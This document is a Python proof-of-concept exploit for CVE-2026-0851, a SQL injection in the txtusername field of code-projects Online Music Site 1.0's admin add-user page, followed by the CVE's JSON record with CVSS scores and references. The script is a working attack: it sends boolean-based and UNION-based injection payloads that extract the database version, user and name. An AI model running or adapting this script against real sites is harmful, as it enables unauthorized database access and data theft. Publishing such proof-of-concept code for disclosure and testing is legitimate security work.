CVE-2026-0851

# CVE-2026-0851 SQL Injection PoC # Target: code-projects Online Music Site 1.0 # Endpoint: /Administrator/PHP/AdminAddUser.php # Parameter: txtusername import requests import sys target_url = "http://target-site.com/Administrator/PHP/AdminAddUser.php" # Basic SQL Injection PoC - Boolean Based def test_sql_injection(): # Normal request normal_data = { 'txtusername': 'testuser', 'txtpassword': 'testpass', 'txtemail': '[email protected]', 'btnadd': 'Add User' } # Malicious payload - SQL Injection test # This payload tests for SQL injection vulnerability payload = "' OR '1'='1" malicious_data = { 'txtusername': payload, 'txtpassword': 'testpass', 'txtemail': '[email protected]', 'btnadd': 'Add User' } print("[*] Testing CVE-2026-0851 SQL Injection...") print(f"[*] Target: {target_url}") try: # Send normal request normal_response = requests.post(target_url, data=normal_data, timeout=10) print(f"[+] Normal request status: {normal_response.status_code}") # Send malicious request malicious_response = requests.post(target_url, data=malicious_data, timeout=10) print(f"[+] Malicious request status: {malicious_response.status_code}") # Check for SQL error indicators if 'sql' in malicious_response.text.lower() or 'error' in malicious_response.text.lower(): print("[!] SQL Injection vulnerability confirmed!") print("[!] Server returned SQL error message") return True # Check for different response behavior if len(malicious_response.text) != len(normal_response.text): print("[!] SQL Injection vulnerability confirmed!") print("[!] Response length differs between normal and malicious requests") return True print("[-] Vulnerability not detected with basic test") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # UNION-based data extraction example def extract_database_info(): """Example: Extract database version using UNION injection""" union_payload = "' UNION SELECT NULL,version(),user(),database()-- -" data = { 'txtusername': union_payload, 'txtpassword': 'test', 'txtemail': '[email protected]', 'btnadd': 'Add User' } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Database extraction response length: {len(response.text)}") return response.text except: return None if __name__ == "__main__": test_sql_injection()

{"cve": {"id": "CVE-2026-0851", "sourceIdentifier": "[email protected]", "published": "2026-01-12T00:15:52.763", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in code-projects Online Music Site 1.0. The affected element is an unknown function of the file /Administrator/PHP/AdminAddUser.php. The manipulation of the argument txtusername leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en code-projects Online Music Site 1.0. El elemento afectado es una función desconocida del archivo /Administrator/PHP/AdminAddUser.php. La manipulación del argumento txtusername conduce a inyección SQL. La explotación remota del ataque es posible. El exploit está disponible públicamente y podría ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_music_site:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "EEE01F25-5D13-4657-A849-2AA9890C8510"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/tuo159515/sql-injection/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.340446", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.340446", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.733644", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}